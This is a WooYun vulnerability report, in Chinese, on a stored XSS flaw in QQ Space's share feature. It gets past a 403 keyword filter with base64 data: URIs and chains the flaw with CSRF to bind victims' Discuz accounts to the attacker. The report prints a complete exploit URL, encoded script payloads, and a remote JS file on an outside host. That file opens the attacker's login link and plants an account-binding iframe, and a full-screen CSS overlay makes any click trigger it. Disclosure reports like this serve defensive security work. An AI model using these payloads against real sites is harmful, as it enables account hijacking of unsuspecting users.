当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128752

漏洞标题:利用QQ空间存储型XSS漏洞配合CSRF漏洞劫持用户其他网站帐号(敏感标签403拦截可绕过\403 bypass)

相关厂商:腾讯

漏洞作者: q601333824

提交时间:2015-07-24 10:09

修复时间:2015-10-22 15:52

公开时间:2015-10-22 15:52

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-24: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开

简要描述:

1.本测试全部来自fuzz测试(全部根据返回内容判断,如有判断错误,见谅)
2.XSS输出点没有进行过滤,但是如果输入敏感的标签关键字,服务器会返回403错误.但是实际上并不严格
3.别人说标题长big也大一点
(已经补充利用方式)

详细说明:

1.QQ空间分享网页的时候,其中?url这个参数没有对双引号进行过滤,如图
①.

111.png


②.

2222.png


2.这个参数虽然没有进行过滤,但是只要输入一些触发事件的标签,就会提示403,然后页面一片空白,比如我输入,然后会变成这样无法访问,如图

"><scrpt/src="//1111"><

333333.png


3.如果输入一些正常标签,没有触发JS脚本的话.就不会拦截,测试的代码有
<img/src="1"/onerror="alert(/111/)">------------→拦截
<img/src="1">------------→没有拦截
<script/src="//11">------------→拦截
<scr/src="//11">------------→不拦截
<iframe/src="//11">------------→拦截
<if/src="//11">------------→不拦截
<a/href="javascript:alert(/1/)">----拦截
4.下面测试了很多,就列出来这些,从这些上面,可以看出来,是根据关键字进行拦截
5.但是测试到 <a/href="data:text/html;base64,XXXXXX">的时候,会分成两种情况
①.第一种情况,这个编码输出的<br>:
<a/href="data:text/html;base64,data:text/html;base64,PGJyPg==">aaa</a> --------------→ 不拦截

4444.png


② 第二种情况,这个编码输出的<img/src="1"/onerror="alert(/1/)">:
<a href="data:text/html;base64,PGltZy9zcmM9IjEiL29uZXJyb3I9ImFsZXJ0KC8xLykiPg==">aaa</a> -------------→拦截

sdffsfsd.png


6.这个时候脑洞开一下,如果把第一种情况,和第二种情况结合一下,<br>可以通过,如果<br>的编码,带着<img/src="1"/onerror="alert(/1/)">的编码,是不是可以也能通过403???于是下面测试了一下

bianma.png

<br><img/src="1"/onerror="alert(/1/)">

            ↓(编码)

PGJyPjxpbWcvc3JjPSIxIi9vbmVycm9yPSJhbGVydCgvMS8pIj4=


↓(把最后的等于号编码了,因为url那里不能存在等于号)

PGJyPjxpbWcvc3JjPSIxIi9vbmVycm9yPSJhbGVydCgvMS8pIj4%3d


7.然而并没有拦截

pppp.png


8.提交一下试试,查看空间代码

ceshiaaa.png


9.然后点击之后,弹一下窗口试一下

ceshiaaabbbbbbbbbbbb.png


10.查看来源,证明是从QQ空间弹出来

ceshicccc.png


-----------------------------------------------------------------------------------
11.但是这个太小了,一般很难让人点到,可以加一个CSS样式,把XSS点,放大,如图,已经通过CSS样式,把XSS点放大,鼠标随便移到哪里都能看见连接,红字标记

无标题.png


---------------------------------------------------------------------------------------
12.然后审核的人说,需要利用方式,于是我一直在想,想到了昨天提交的漏洞,还没有修复
WooYun: 利用QQ的一处小小的设计缺陷劫持其它网站用户帐号(已经录制视频证明不是IP问题)
13.这个漏洞我提交的时候说过,那个登录连接从别的网站,点击跳转会提示403,但是从QQ聊天窗口和QQ空间,本地跳转不会拦截,然后看这张图

ceshicccc.png



14.虽然这个XSS不在qq.com域内,但是你看,referer是qq空间的,说明可以打开登录连接,也就是说,上个漏洞在这次的漏洞可以进行利用了
-------------------------------------------------------------------------------------------------
15.以下测试的利用图
1.先构造代码

<br><script/src="http://guanggao456.sinaapp.com/1.js"></script>



     
   ↓(Base64编码+url编码)
2.

PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b




3.得到了分享网页的连接,然后发表到空间,直接嵌入到空间个人中心状态了

http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2Fdonghua.dmzj.com%2F%23%22%3E%3Ca/href%3d%22data:text/html;base64,PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b%22style%3d%22left:0px;top:%200px;%20width:%20100%25;%20height:%20100%25;%20position:%20fixed;%22&title=%E5%BE%88%E4%B9%85%E5%BE%88%E4%B9%85%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6&desc=&summary=&site=


4.其中http://guanggao456.sinaapp.com/1.js里面的代码是

window.onload=function aa(){
window.open("xxxxxxxxxxxxxxx")
};//这里填写自己登录连接,为了让别人的电脑登录自己的帐号
function bb(){
var e=document.createElement('iframe');e.setAttribute('src','http://www.discuz.net/connect.php?mod=login&op=init&type=loginbind&referer=home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp');document.body.appendChild(e);
};
setTimeout("bb()",2000)//延迟2秒,打开Discuz社区的绑定连接


5.上面的代码合起来利用方式就是,把XSS点在空间个人状态放大,铺满整个屏幕,然后当用户进他自己个人中心看状态的时候肯定会点鼠标,然后XSS执行了,先window.open,打开实现设置好的我的登录连接,再延迟两秒,创建iframe,打开Discuz社区绑定的QQ帐号的连接,然后就没然后...........................
--------------------------------------------------------------------------------------------
6.测试图片
1.可以看见CSS把XSS点放大到全屏,随便点都能中

ceshi222222222.png


2.当用户在空间一通瞎点的时候,XSS触发了,先打开我的登录连接,然后开始倒计时绑定帐号了,噢噢噢噢噢噢噢.666666

ces3333.png

漏洞证明:

1.漏洞证明看上面
2.先访问这个连接,分享一个网页

<code>http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2Fdonghua.dmzj.com%2F%23%22%3E%3Ca/href%3d%22data:text/html;base64,PGJyPjxzY3JpcHQvc3JjPSJodHRwOi8vZ3VhbmdnYW80NTYuc2luYWFwcC5jb20vMS5qcyI%2bPC9zY3JpcHQ%2b%22style%3d%22left:0px;top:%200px;%20width:%20100%25;%20height:%20100%25;%20position:%20fixed;%22&title=%E5%BE%88%E4%B9%85%E5%BE%88%E4%B9%85%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6%E6%A0%B9%E6%8D%AE%E5%9B%BD%E5%AE%B6&desc=&summary=&site=


3.其中http://guanggao456.sinaapp.com/1.js加载的内容是
<code

window.onload=function aa(){
window.open("xxxxxxxxxxxxxxx")
};//这里填写自己登录连接,为了让别人的电脑登录自己的帐号
function bb(){
var e=document.createElement('iframe');e.setAttribute('src','http://www.discuz.net/connect.php?mod=login&op=init&type=loginbind&referer=home.php?mod=spacecp&ac=plugin&id=qqconnect:spacecp');document.body.appendChild(e);
};
setTimeout("bb()",2000)//延迟2秒,打开Discuz社区的绑定连接


修复方案:

1.过滤
2.403拦截恶意代码并不是那么严谨啊
3.上次的漏洞还存在被利用的风险
4,如果知道对方经常看哪个网站,那个网站又没有绑定连接的验证,我就可以实现设置好连接,他进自己个人中心的时候我就在那等着了.......

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-24 15:51

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无